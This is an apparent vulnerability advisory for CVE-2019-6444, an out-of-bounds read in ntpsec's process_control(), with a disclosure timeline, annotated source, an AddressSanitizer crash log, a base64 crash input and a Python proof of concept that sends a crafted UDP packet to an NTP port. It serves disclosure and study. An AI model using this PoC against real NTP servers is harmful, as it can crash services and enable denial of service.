_ _
/ | ___| |_ ___ ___ ___ ___
_ / / | | _| . |_ -| -_| _|
|_|_/ |_|_|_| | _|___|___|___|
|_|
2019-01-15
Out-of-bounds read in ntpsec
============================
CVE-2019-6444
This is the second of four bugs. For more visit: https://dumpco.re/blog/ntpsec-bugs
An out-of-bounds read bug was found in ntpsec.
Affected versions: ntpsec 1.1.1, 1.1.2
Timeline:
2018-10-15 Bug discovered
2018-10-17 Bug reported
2019-01-13 Vendor released patch version 1.1.3
2019-01-16 MITRE allocated CVE-2019-6444
The bug exists in process_control() in ntp_control.c.
On line 712 in ntp_control.c, attacker controlled data is parsed into a uint16 in pkt->count.
700 /*
701 * unmarshall_ntp_control - unmarshall data stream into a ntp_sontrol struct
702 */
703 void
704 unmarshall_ntp_control(struct ntp_control *pkt, struct recvbuf *rbufp)
705 {
706 pkt->li_vn_mode = (uint8_t)rbufp->recv_buffer[0];
707 pkt->r_m_e_op = (uint8_t)rbufp->recv_buffer[1];
708 pkt->sequence = extract_16bits_from_stream(&rbufp->recv_buffer[2]);
709 pkt->status = extract_16bits_from_stream(&rbufp->recv_buffer[4]);
710 pkt->associd = extract_16bits_from_stream(&rbufp->recv_buffer[6]);
711 pkt->offset = extract_16bits_from_stream(&rbufp->recv_buffer[8]);
712 pkt->count = extract_16bits_from_stream(&rbufp->recv_buffer[10]);
713 memcpy(&pkt->data, rbufp->recv_buffer + 12, 480 + MAX_MAC_LEN);
714 }
715
716 uint16_t
717 extract_16bits_from_stream(uint8_t *addr)
718 {
719 uint16_t var = 0;
720 var = (uint16_t)*addr << 8;
721 var |= (uint16_t)*(addr + 1);
722 var = ntohs(var);
723 return var;
724 }
As shown below, the attacker controlled data is later dereferenced on line 861 by ntohl():
771 int req_count;
..
786 unmarshall_ntp_control(&pkt_core, rbufp); // <- attacker controlled data parsed into pkt_core->count
787 pkt = &pkt_core; // <-
..
831 req_count = (int)ntohs(pkt->count); // <-
..
852 properlen = req_count + (int)CTL_HEADER_LEN; // <-
..
855 properlen = (properlen + 7) & ~7;
856 maclen = rbufp->recv_length - (size_t)properlen;
857 if ((rbufp->recv_length & 3) == 0 &&
858 maclen >= MIN_MAC_LEN && maclen <= MAX_MAC_LEN) {
859 keyid_t keyid;
860 pkid = (void *)((char *)pkt + properlen); // <-
861 keyid = ntohl(*pkid); // <- attacker controlled data dereferenced
862 DPRINT(3, ("recv_len %zu, properlen %d, wants auth with keyid %08x, MAC length=%zu\n",
863 rbufp->recv_length, properlen, keyid,
864 maclen));
865
866 res_auth = authlookup(keyid, true); // FIXME
867 if (NULL == res_auth)
868 DPRINT(3, ("invalid keyid %08x\n", keyid));
869 else if (authdecrypt(res_auth, (uint32_t *)pkt,
870 (int)rbufp->recv_length - (int)maclen,
871 (int)maclen)) {
872 DPRINT(3, ("authenticated okay\n"));
873 } else {
874 res_auth = NULL;
875 DPRINT(3, ("authentication failed\n"));
876 }
877 }
Crash report:
# uname -a
Linux h4xb0x 3.16.0-7-amd64 #1 SMP Debian 3.16.59-1 (2018-10-03) x86_64 GNU/Linux
# base64 ../../bug2
jgprw4AAAAAAAAJIR1BTc2vDgAAAAAAAAkhHUFNz3bXJZM+KKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrREdQEABHtcnPl7sA5fjdtclr2H+Bwt21yWvdgOTk5Z8rKysrKysrKysr
KysrKysrISsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKyvFv7xr2H+CACsrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKysrKytCKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKyvtKysrKysrKysrKysrKysrKysrKysrKysrKysrAADk5Csr
KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwAB
AAArKysrKysrKysrKysrKysrKykrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrK5dI3bXJa7voCPjduslr2H+Cwt21yWvYgFef
# sha256sum ../../bug2
f4da8e559d7dcb528daabce3c9680146674f80ebb7cc66a72d5f18faf58ddb20 ../../bug2
# ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-3.5 ./build/main/ntpd/ntpd -n & sleep 1; cat ../../bug2 > /dev/udp/127.0.0.1/5123
[1] 24724
2018-10-16T20:59:43 ntpd[24724]: INIT: ntpd ntpsec-1.1.2 2018-10-15T18:34:38Z: Starting
2018-10-16T20:59:43 ntpd[24724]: INIT: Command line: ./build/main/ntpd/ntpd -n
2018-10-16T20:59:43 ntpd[24724]: INIT: precision = 0.125 usec (-23)
2018-10-16T20:59:43 ntpd[24724]: INIT: successfully locked into RAM
2018-10-16T20:59:43 ntpd[24724]: CONFIG: readconfig: parsing file: /etc/ntp.conf
restrict 0.0.0.0: KOD does nothing without LIMITED.
2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict 0.0.0.0: KOD does nothing without LIMITED.
2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict 0.0.0.0: notrap keyword is ignored.
restrict ::: KOD does nothing without LIMITED.
2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict ::: KOD does nothing without LIMITED.
2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict ::: notrap keyword is ignored.
2018-10-16T20:59:43 ntpd[24724]: INIT: Using SO_TIMESTAMPNS
2018-10-16T20:59:43 ntpd[24724]: IO: Listen and drop on 0 v6wildcard [::]:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 2 lo 127.0.0.1:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 3 eth0 192.168.245.220:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 4 eth0 192.168.245.131:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 5 lo [::1]:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:5123
2018-10-16T20:59:43 ntpd[24724]: IO: Listening on routing socket on fd #23 for interface updates
2018-10-16T20:59:43 ntpd[24724]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
=================================================================
root@h4xb0x:/home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2# ==24724==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe933a6978 at pc 0x562d6d7978b1 bp 0x7ffe933a6690 sp 0x7ffe933a6688
READ of size 4 at 0x7ffe933a6978 thread T0
#0 0x562d6d7978b0 in process_control /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:861:11
#1 0x562d6d76991b in receive /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_proto.c:676:3
#2 0x562d6d78695e in mainloop /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:982:6
#3 0x562d6d78695e in ntpdmain /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:911
#4 0x562d6d78695e in main /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:426
#5 0x7f4016dc9b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287
#6 0x562d6d73a48c in _start (/home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/ntpd/ntpd+0x10348c)
Address 0x7ffe933a6978 is located in stack of thread T0 at offset 632 in frame
#0 0x562d6d7964bf in process_control /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:768
This frame has 1 object(s):
[32, 576) 'pkt_core' <== Memory access at offset 632 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:861 process_control
Shadow bytes around the buggy address:
0x10005266ccd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266cce0: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266ccf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266cd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266cd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005266cd20: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3[f3]
0x10005266cd30: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
0x10005266cd40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266cd50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266cd60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005266cd70: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
ASan internal: fe
==24724==ABORTING
The following PoC exploit can be used to demonstrate the issue:
#!/usr/bin/env python
import sys
import socket
buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" +
"\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" +
"\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" +
"\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" +
"\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" +
"\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" +
"\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" +
"\xd8\x80\x57\x9f")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
Proof of discovery:
# base64 ../../bug2
jgprw4AAAAAAAAJIR1BTc2vDgAAAAAAAAkhHUFNz3bXJZM+KKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrREdQEABHtcnPl7sA5fjdtclr2H+Bwt21yWvdgOTk5Z8rKysrKysrKysr
KysrKysrISsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKyvFv7xr2H+CACsrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKysrKytCKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrKysrKysrKyvtKysrKysrKysrKysrKysrKysrKysrKysrKysrAADk5Csr
KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwAB
AAArKysrKysrKysrKysrKysrKykrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKysrKysrKysrKysrK5dI3bXJa7voCPjduslr2H+Cwt21yWvYgFef
# sha256sum ../../bug2
f4da8e559d7dcb528daabce3c9680146674f80ebb7cc66a72d5f18faf58ddb20 ../../bug2
https://twitter.com/magnusstubman/status/1051905422179880961
# References
- ftp://ftp.ntpsec.org/pub/releases/
- https://gitlab.com/NTPsec/ntpsec/issues/508
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6444